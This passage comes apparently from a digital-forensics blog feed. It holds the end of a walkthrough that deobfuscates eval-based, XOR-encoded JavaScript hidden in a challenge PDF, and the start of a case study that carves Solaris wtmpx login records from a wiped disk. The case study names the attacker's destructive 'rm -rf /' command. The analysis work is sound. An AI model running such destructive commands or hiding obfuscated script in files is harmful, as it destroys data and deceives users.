</span><span class='line'>      var e1, e2, e3, e4;
</span><span class='line'>      var i = 0;
</span><span class='line'>      input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
</span><span class='line'>      while (i &lt; input.length) {
</span><span class='line'>          e1 = this.k.indexOf(input.charAt(i++));
</span><span class='line'>          e2 = this.k.indexOf(input.charAt(i++));
</span><span class='line'>          e3 = this.k.indexOf(input.charAt(i++));
</span><span class='line'>          e4 = this.k.indexOf(input.charAt(i++));
</span><span class='line'>          c1 = (e1 &lt;&lt; 2) | (e2 &gt;&gt; 4);
</span><span class='line'>          c2 = ((e2 & 15) &lt;&lt; 4) | (e3 &gt;&gt; 2);
</span><span class='line'>          c3 = ((e3 & 3) &lt;&lt; 6) | e4;
</span><span class='line'>          kk = kk + String.fromCharCode(c1);
</span><span class='line'>          if (e3 != 64) {kk = kk + String.fromCharCode(c2);}
</span><span class='line'>          if (e4 != 64) {kk = kk + String.fromCharCode(c3);}
</span><span class='line'>      }
</span><span class='line'>      return kk;
</span><span class='line'>  }
</span><span class='line'>};</span></code></pre></td></tr></table></div></figure>


<p>Keep in mind that after opening the original file the following code <code>peepdf(r(a,x.d(this.info.author)));</code> will be executed. We now have found the definition of associative array <code>x</code> which contains function <code>d</code> and takes <code>this.info.author</code> as a parameter.</p>

<p><code>this.info.author</code> can be found by reviewing the <code>Info</code> object:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 12
</span><span class='line'>
</span><span class='line'>&lt;&lt; /CreationDate D:19820925000000
</span><span class='line'>/Author 11 0 R
</span><span class='line'>/Producer Peepdf Library X
</span><span class='line'>/ModDate D:20150805153000
</span><span class='line'>/Creator Scribus 1.3.3.14 &gt;&gt;</span></code></pre></td></tr></table></div></figure>


<p>and following the <code>/Author</code> reference:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 11
</span><span class='line'>
</span><span class='line'>aeJrtFmIbya6v42tZEOXZgxaCyxiAUeIbxx5aTxaBymjbndwWRHtAU9rBy8/qhEtAxZctFmIbyamrl2vSDZtCFyRsTt/Zz2qAiNMBFenZyZiZUewcVaGBTOrqyDjZheusWqZdzencI87Ag1GADDcwgJwB0pibGqaZ1dGCfisbEaxugDHT2NjwhmCcSi/aTinaDdSZ3dGZSVjrF2CCx8udzxZqjmyaz2AweJVAU8Bqxe5VhSaCD5Ftfiwbet+Zo2+BDJVCFxHbEamrhKeZxfFtfDIBjt9bTiuBS9atXi0ZDa6ZhfBAS1vAXissxt/Zz2qAiNtwUmFaeHPq4xur1abcXEScetLrGyEAS1tvGpqXymPbheYthNAAUivbWtqchyECDmXAzyppyDoAUmYtg1uaniUZDa6bGfpAHNtC3iabf1+qhxuZxpaCFWrBDHhdhfZZHNtC3ibbfZLZh8udS9ZAU1wCS17blEaCx8YtF1IB2t5bUDuaDEZAzxBsyxiZ4tuXfmsanitZDI6dhWptE8RZgxwsyH/ATiuZempC08BCIq6RUpuAxEZAzass1fhqFDHrxJpZndsZyZJdlWXd08SaFVwuWHbZ0fAADjZVzHsZyN/bG5ptitcYUmuuWHGZo2VCy5ZdU8wsypPdhfGADZXA3imZyp5cY2jdS9ZBhxaB2t5bUEptE8YtFRUsxtJZzKpCf8aaFDIZWt7bGiuASdpCFeGZWtgbTmubRDutGmIZxV/Zl2HaHIZWTeaafZJq4xwcVaGdUibpSpkZzOavERcSFDBZyaxqD2pASNdAki5aypkbhfGAx5bwFmlCESxqDjIdRHUZ3itZDI6AhItbRZXA3fss1jhqFDHrypACGmwAEpLAlutCDmranHScFdhdhIpri1mATxbbyW6SUWtCDtACgJwsWN5TzKrri18ZhErcfR7c0tttV1IvYpY</span></code></pre></td></tr></table></div></figure>


<p>Alright, we still need to find definitions of <code>peepdf()</code>, <code>r()</code>, and <code>a</code> variable.</p>

<p>Let&rsquo;s use the output from the <code>tree</code> command and go through all the <code>/JavaScript</code> elements one by one:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/JavaScript (7)
</span><span class='line'>  /Names (14)
</span><span class='line'>      /Action /JavaScript (13)
</span><span class='line'>          stream (6)
</span><span class='line'>      /Action /JavaScript (15)
</span><span class='line'>          stream (8)
</span><span class='line'>      /Action /JavaScript (17)
</span><span class='line'>          hexstring (16)
</span><span class='line'>      /Action /JavaScript (18)
</span><span class='line'>          hexstring (19)
</span><span class='line'>      /Action /JavaScript (23)
</span><span class='line'>          stream (24)</span></code></pre></td></tr></table></div></figure>


<p>First stream contains value of variable <code>a</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 6
</span><span class='line'>
</span><span class='line'>&lt;&lt; /Filter [ /ASCIIHexDecode /DCTDecode ]
</span><span class='line'>/Length 408
</span><span class='line'>/ColorSpace /DeviceGray
</span><span class='line'>/Type /XObject
</span><span class='line'>/BitsPerComponent 8
</span><span class='line'>/Height 1
</span><span class='line'>/Width 24
</span><span class='line'>/Subtype /Image &gt;&gt;
</span><span class='line'>stream
</span><span class='line'>   var a="QkhQMzNwZGY=";
</span><span class='line'>endstream</span></code></pre></td></tr></table></div></figure>


<p>Second stream explains that <code>peepdf()</code> is really an <code>eval()</code> function:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;&lt; /Filter [ /ASCIIHexDecode /DCTDecode ]
</span><span class='line'>/Length 396
</span><span class='line'>/ColorSpace /DeviceGray
</span><span class='line'>/Type /XObject
</span><span class='line'>/BitsPerComponent 8
</span><span class='line'>/Height 1
</span><span class='line'>/Width 24
</span><span class='line'>/Subtype /Image &gt;&gt;
</span><span class='line'>stream
</span><span class='line'>peepdf=eval;//PADDINGGGG
</span><span class='line'>endstream</span></code></pre></td></tr></table></div></figure>


<p>Third <code>/JavaScript</code> element contains definition of the function <code>r()</code> which seems to be a decoding function that accepts key and message as parameters:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; js_beautify object 19
</span><span class='line'>
</span><span class='line'>function r(key, data) {
</span><span class='line'>    var kk = "";
</span><span class='line'>    for (var i = 0; i &lt; data.length; i++) {
</span><span class='line'>        kk += String.fromCharCode(data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
</span><span class='line'>    }
</span><span class='line'>    return kk
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>It looks like we finally have all the the pieces of the puzzle to execute the code in <em>SpiderMonkey</em>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>function d(input) {
</span><span class='line'>  var k = "RSTUVWXYZabcdABCDEFGHInopqrstuvwxyz01234JKLMNOPQefghijklm56789+/="
</span><span class='line'>  var kk = "";
</span><span class='line'>  var c1, c2, c3, c4;
</span><span class='line'>  var e1, e2, e3, e4;
</span><span class='line'>  var i = 0;
</span><span class='line'>  input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
</span><span class='line'>  while (i &lt; input.length) {
</span><span class='line'>      e1 = k.indexOf(input.charAt(i++));
</span><span class='line'>      e2 = k.indexOf(input.charAt(i++));
</span><span class='line'>      e3 = k.indexOf(input.charAt(i++));
</span><span class='line'>      e4 = k.indexOf(input.charAt(i++));
</span><span class='line'>      c1 = (e1 &lt;&lt; 2) | (e2 &gt;&gt; 4);
</span><span class='line'>      c2 = ((e2 & 15) &lt;&lt; 4) | (e3 &gt;&gt; 2);
</span><span class='line'>      c3 = ((e3 & 3) &lt;&lt; 6) | e4;
</span><span class='line'>      kk = kk + String.fromCharCode(c1);
</span><span class='line'>      if (e3 != 64) {kk = kk + String.fromCharCode(c2);}
</span><span class='line'>      if (e4 != 64) {kk = kk + String.fromCharCode(c3);}
</span><span class='line'>      }
</span><span class='line'>      return kk;
</span><span class='line'>}
</span><span class='line'>var author="aeJrtFmIbya6v42tZEOXZgxaCyxiAUeIbxx5aTxaBymjbndwWRHtAU9rBy8/qhEtAxZctFmIbyamrl2vSDZtCFyRsTt/Zz2qAiNMBFenZyZiZUewcVaGBTOrqyDjZheusWqZdzencI87Ag1GADDcwgJwB0pibGqaZ1dGCfisbEaxugDHT2NjwhmCcSi/aTinaDdSZ3dGZSVjrF2CCx8udzxZqjmyaz2AweJVAU8Bqxe5VhSaCD5Ftfiwbet+Zo2+BDJVCFxHbEamrhKeZxfFtfDIBjt9bTiuBS9atXi0ZDa6ZhfBAS1vAXissxt/Zz2qAiNtwUmFaeHPq4xur1abcXEScetLrGyEAS1tvGpqXymPbheYthNAAUivbWtqchyECDmXAzyppyDoAUmYtg1uaniUZDa6bGfpAHNtC3iabf1+qhxuZxpaCFWrBDHhdhfZZHNtC3ibbfZLZh8udS9ZAU1wCS17blEaCx8YtF1IB2t5bUDuaDEZAzxBsyxiZ4tuXfmsanitZDI6dhWptE8RZgxwsyH/ATiuZempC08BCIq6RUpuAxEZAzass1fhqFDHrxJpZndsZyZJdlWXd08SaFVwuWHbZ0fAADjZVzHsZyN/bG5ptitcYUmuuWHGZo2VCy5ZdU8wsypPdhfGADZXA3imZyp5cY2jdS9ZBhxaB2t5bUEptE8YtFRUsxtJZzKpCf8aaFDIZWt7bGiuASdpCFeGZWtgbTmubRDutGmIZxV/Zl2HaHIZWTeaafZJq4xwcVaGdUibpSpkZzOavERcSFDBZyaxqD2pASNdAki5aypkbhfGAx5bwFmlCESxqDjIdRHUZ3itZDI6AhItbRZXA3fss1jhqFDHrypACGmwAEpLAlutCDmranHScFdhdhIpri1mATxbbyW6SUWtCDtACgJwsWN5TzKrri18ZhErcfR7c0tttV1IvYpY";
</span><span class='line'>
</span><span class='line'>function r(key, data) {
</span><span class='line'>    var kk = "";
</span><span class='line'>    for (var i = 0; i &lt; data.length; i++) {
</span><span class='line'>        kk += String.fromCharCode(data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
</span><span class='line'>    }
</span><span class='line'>    return kk
</span><span class='line'>}
</span><span class='line'>
</span><span class='line'>//peepdf(r(a,x.d(this.info.author)));
</span><span class='line'>
</span><span class='line'>print(r('QkhQMzNwZGY=',d(author)));</span></code></pre></td></tr></table></div></figure>


<p>This results in the following output:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>js-beautify final.js 
</span><span class='line'>var code = app.response({
</span><span class='line'>    cQuestion: "Enter the magic code",
</span><span class='line'>    cTitle: "Peepdf Challenge"
</span><span class='line'>});
</span><span class='line'>if (code == calc(app.doc.getAnnots({
</span><span class='line'>        nPage: 0
</span><span class='line'>    })[0].subject + this.info.producer)) {
</span><span class='line'>    app.alert({
</span><span class='line'>        cTitle: "Peepdf Challenge",
</span><span class='line'>        cMsg: "You got it!! You deserve a peepdf t-shirt!! ;)"
</span><span class='line'>    });
</span><span class='line'>    app.alert({
</span><span class='line'>        cTitle: "Peepdf Challenge",
</span><span class='line'>        cMsg: "But you need to send a small writeup to peepdf at eternal-todo dot com to get one. Just for the three best reports! Go go go! ;)"
</span><span class='line'>    });
</span><span class='line'>    app.alert({
</span><span class='line'>        cTitle: "Peepdf Challenge",
</span><span class='line'>        cMsg: "If you are attending Black Hat just come to my presentation and explain how you solved it. Easier!!"
</span><span class='line'>    });
</span><span class='line'>    app.alert({
</span><span class='line'>        cTitle: "Peepdf Challenge",
</span><span class='line'>        cMsg: "Thanks for playing!! :)"
</span><span class='line'>    });
</span><span class='line'>} else {
</span><span class='line'>    app.alert({
</span><span class='line'>        cTitle: "Peepdf Challenge",
</span><span class='line'>        cMsg: "Try again!!"
</span><span class='line'>    });</span></code></pre></td></tr></table></div></figure>


<p>Solution to the challenge consist of the annotation <code>/Subj</code> and <code>/Producer</code> which are passed to <code>calc()</code> function.
Annotation subject can be found in the other <code>/Annot</code> object:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 20
</span><span class='line'>
</span><span class='line'>&lt;&lt; /Rect [ 100 180 300 210 ]
</span><span class='line'>/Type /Annot
</span><span class='line'>/Subtype /Text
</span><span class='line'>/Subj Black Hat US Arsenal 2015 - peepdf
</span><span class='line'>/Name /Comment &gt;&gt;
</span><span class='line'>
</span><span class='line'>&lt;&lt; /CreationDate D:19820925000000
</span><span class='line'>/Author 11 0 R
</span><span class='line'>/Producer Peepdf Library X
</span><span class='line'>/ModDate D:20150805153000
</span><span class='line'>/Creator Scribus 1.3.3.14 &gt;&gt;</span></code></pre></td></tr></table></div></figure>


<p>Adding <code>/Subj</code> and <code>/Producer</code> gives the following string <strong>&ldquo;Black Hat US Arsenal 2015 - peepdfPeepdf Library X&rdquo;</strong> which is passed to function <code>calc()</code>. Function <code>calc()</code> is a <em>JavaScript</em> <a href="http://www.pajhome.org.uk/crypt/md5/index.html">implementation of MD5</a> and can be found in <code>object 24</code>.</p>

<p>MD5 of the string is the solution to the challenge: <code>5af109e5f2e7770bf7f88bfde448d2fe</code></p>

<p><img class="center" src="http://dfir.it/images/peepdf-walkthrough-blackhat-arsenal-challenge/solution.png" title="peepdf" alt="peepdf"></p>

<p>That was a pretty cool challenge! Be sure to check out Jose&rsquo;s walkthrough:</p>

<center><blockquote class="twitter-tweet" lang="en"><p lang="en" dir="ltr">Check how to solve the <a href="https://twitter.com/hashtag/BHUSA?src=hash">#BHUSA</a> Arsenal <a href="https://twitter.com/peepdf">@peepdf</a> <a href="https://twitter.com/hashtag/challenge?src=hash">#challenge</a>! It was not easy ;) <a href="http://t.co/lkd3OwqCjH">http://t.co/lkd3OwqCjH</a> Congrats to <a href="https://twitter.com/Antelox">@Antelox</a> <a href="https://twitter.com/dfir_it">@dfir_it</a> <a href="https://twitter.com/___wr___">@___wr___</a>!</p>&mdash; Jose Miguel Esparza (@EternalTodo) <a href="https://twitter.com/EternalTodo/status/641687960723849216">September 9, 2015</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Forensic Case Studies - Carving and Parsing Solaris WTMPX Files]]></title>
    <link href="http://dfir.it/blog/2015/08/16/forensic-case-studies-carving-and-parsing-solaris-wtmpx-files/"/>
    <updated>2015-08-16T13:02:26+02:00</updated>
    <id>http://dfir.it/blog/2015/08/16/forensic-case-studies-carving-and-parsing-solaris-wtmpx-files</id>
    <content type="html"><![CDATA[<p>A few weeks back I was analyzing a Solaris 10 (SPARC) raw partition image and was trying to determine from the <em>wtmpx</em> files who had logged
into the system, from what/which remote IP addresses and when. To be more precise, I was tracking <em>nagios</em> account that was used to compromise
this machine. The problem I encountered was that the file system was completely wiped out - all files were gone.</p>

<!--more-->


<p>Fortunately, this was done at filesystem level with <code>rm -rf /</code> command.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>elceef@cerebellum:~$ sudo mount -o loop,ro -t ufs dd_nj090240-var /mnt
</span><span class='line'>elceef@cerebellum:~$ ll -R /mnt
</span><span class='line'>/mnt:
</span><span class='line'>total 6
</span><span class='line'>drwxr-xr-x  3 root sys  1024 jul  1 02:43 ./
</span><span class='line'>drwxr-xr-x 30 root root 4096 aug  4 09:49 ../
</span><span class='line'>drwxr-xr-x  2 root sys   512 jun 28 13:25 run/
</span><span class='line'>
</span><span class='line'>/mnt/run:
</span><span class='line'>total 2
</span><span class='line'>drwxr-xr-x 2 root sys  512 jun 28 13:25 ./
</span><span class='line'>drwxr-xr-x 3 root sys 1024 jul  1 02:43 ../</span></code></pre></td></tr></table></div></figure>


<p>This means the data should still be there. But how to recover it?</p>

<h3>Solaris wtmpx file format</h3>

<p>Solaris uses <em>/var/adm/wtmpx</em> file which is in some way similar to <em>/var/log/wtmp</em> from Linux but unfortunately is incompatible. Also this
system is based on SPARC architecture which is <a href="https://en.wikipedia.org/wiki/Endianness">big-endian</a> so in contrast to Intel x86
(little-endian) the integers are stored in reverse order. This means we cannot use Linux native tools like <code>last</code> to parse contents of a
<em>wtmpx</em> file from Solaris. In order to recover it we need to know the exact structure. The easiest way to understand the format is to look at
the source code of programs that read and write to <em>wtmpx</em> files. Since the target system is Solaris, the format is very likely to be found in
<em>/usr/include/utmpx.h</em> C include file.</p>

<p>Here is an excerpt from Solaris 10&rsquo;s <em>utmpx.h</em>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>struct timeval32
</span><span class='line'>{
</span><span class='line'>  int tv_sec, tv_usec;
</span><span class='line'>};
</span><span class='line'>
</span><span class='line'>struct futmpx {
</span><span class='line'>  char    ut_user[32];      /* user login name */
</span><span class='line'>  char    ut_id[4];         /* inittab id */
</span><span class='line'>  char    ut_line[32];      /* device name (console, lnxx) */
</span><span class='line'>  pid32_t ut_pid;           /* process id */
</span><span class='line'>  int16_t ut_type;          /* type of entry */
</span><span class='line'>  struct {
</span><span class='line'>    int16_t e_termination;  /* process termination status */
</span><span class='line'>    int16_t e_exit;         /* process exit status */
</span><span class='line'>  } ut_exit;                /* exit status of a process */
</span><span class='line'>  struct timeval32 ut_tv;   /* time entry was made */
</span><span class='line'>  int32_t ut_session;       /* session ID, user for windowing */
</span><span class='line'>  int32_t pad[5];           /* reserved for future use */
</span><span class='line'>  int16_t ut_syslen;        /* significant length of ut_host */
</span><span class='line'>  char    ut_host[257];     /* remote host name */
</span><span class='line'>};</span></code></pre></td></tr></table></div></figure>


<h3>Data carving</h3>

<p>Each <em>wtmpx</em> entry is exactly 372-byte long (aligned to 4 bytes!) and it starts with an username trimmed to 32 bytes. Based on this
information we can create a pattern for <em>scalpel</em> - well known file carving utility. In this case, we want <em>scalpel</em> to scan for specified
string of bytes (header) and then save 372 byte long chunks of data that follow the header. If you want to learn more about the configuration
file syntax, I encourage you to review the <a href="http://linux.die.net/man/1/scalpel">manual page</a> or the configuration file itself where you will
find many examples.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>wtmpx y 372 nagios\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x74\x73</span></code></pre></td></tr></table></div></figure>


<p>Let&rsquo;s run it on the partition image and see the results!</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>elceef@cerebellum:~$ scalpel -o scalpel_out/ -O dd_nj090240-var 
</span><span class='line'>Scalpel version 1.60
</span><span class='line'>Written by Golden G. Richard III, based on Foremost 0.69.
</span><span class='line'>
</span><span class='line'>Opening target "/home/elceef/dd_nj090240-var"
</span><span class='line'>
</span><span class='line'>Image file pass 1/2.
</span><span class='line'>dd_nj090240-var: 100.0% |***************************************************************************************************|   20.0 GB    00:00 ETA
</span><span class='line'>Allocating work queues...
</span><span class='line'>Work queues allocation complete. Building carve lists...
</span><span class='line'>Carve lists built.  Workload:
</span><span class='line'>wtmpx with header 
</span><span class='line'>"\x6e\x61\x67\x69\x6f\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x74\x73" and 
</span><span class='line'>footer "" --&gt; 8 files
</span><span class='line'>Carving files from image.
</span><span class='line'>Image file pass 2/2.
</span><span class='line'>dd_nj090240-var: 100.0% |***************************************************************************************************|   20.0 GB    00:00 ETA
</span><span class='line'>Processing of image file complete. Cleaning up...
</span><span class='line'>Done.
</span><span class='line'>Scalpel is done, files carved = 8, elapsed = 67 seconds.</span></code></pre></td></tr></table></div></figure>


<p>After a minute the tool carved eight files out of the image.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>elceef@cerebellum:~/scalpel_out$ ll
</span><span class='line'>total 44
</span><span class='line'>drwxrwxr-x 2 elceef elceef 4096 aug 16 05:39 ./
</span><span class='line'>drwxrwxr-x 4 elceef elceef 4096 aug 16 05:36 ../
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000000.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000001.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000002.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000003.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000004.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000005.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000006.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  372 aug 16 05:39 00000007.wtmpx
</span><span class='line'>-rw-rw-r-- 1 elceef elceef  963 aug 16 05:39 audit.txt</span></code></pre></td></tr></table></div></figure>


<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>elceef@cerebellum:~/scalpel_out$ hexdump -C 00000000.wtmpx 
</span><span class='line'>00000000  6e 61 67 69 6f 73 00 00  00 00 00 00 00 00 00 00  |nagios..........|
</span><span class='line'>00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span><span class='line'>00000020  74 73 2f 31 70 74 73 2f  31 00 00 00 00 00 00 00  |ts/1pts/1.......|
</span><span class='line'>00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span><span class='line'>00000040  00 00 00 00 00 01 b9 00  00 07 00 00 00 00 00 00  |................|
</span><span class='line'>00000050  55 95 ac bb 00 0a d1 5d  00 00 00 00 00 00 00 00  |U......]........|
</span><span class='line'>00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span><span class='line'>00000070  00 0e 31 30 2e 32 30 30  2e 31 32 35 2e 31 34 32  |..10.200.125.142|
</span><span class='line'>00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span><span class='line'>*
</span><span class='line'>00000174
</span></code></pre></td></tr></table></div></figure>


<p>The entries look valid. We can easily spot account name, console and source IP address this session originated from. We miss other important
piece of the puzzle: timestamp and event type. We need to write a parser that will allow us to extract detailed information of each
event (entry) similar to how <code>last</code> command does.</p>

<h3>Parsing</h3>

<p>I created a quick and dirty python script that benefits mostly from <em>struct</em> module to handle binary data. This module has a function called
<code>unpack()</code> especially designed to parse binary and structured data according to a given format. Format strings are used to specify the
expected layout when unpacking data. They are build up from format characters which specify the type and size of data being unpacked. I
strongly encourage you to review <a href="https://docs.python.org/2/library/struct.html">documention</a> for <em>struct</em> module first in order to understand
better the meaning of format characters.</p>

<p>It is worth mentioning that I had to use pad bytes in the format string in order to maintain proper alignment for the <em>futmpx</em> struct involved.
Don&rsquo;t be surprised if your calculations are not in accordance with <code>sizeof(struct futmpx)</code> - this is the way data structures are stored in the
memory.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
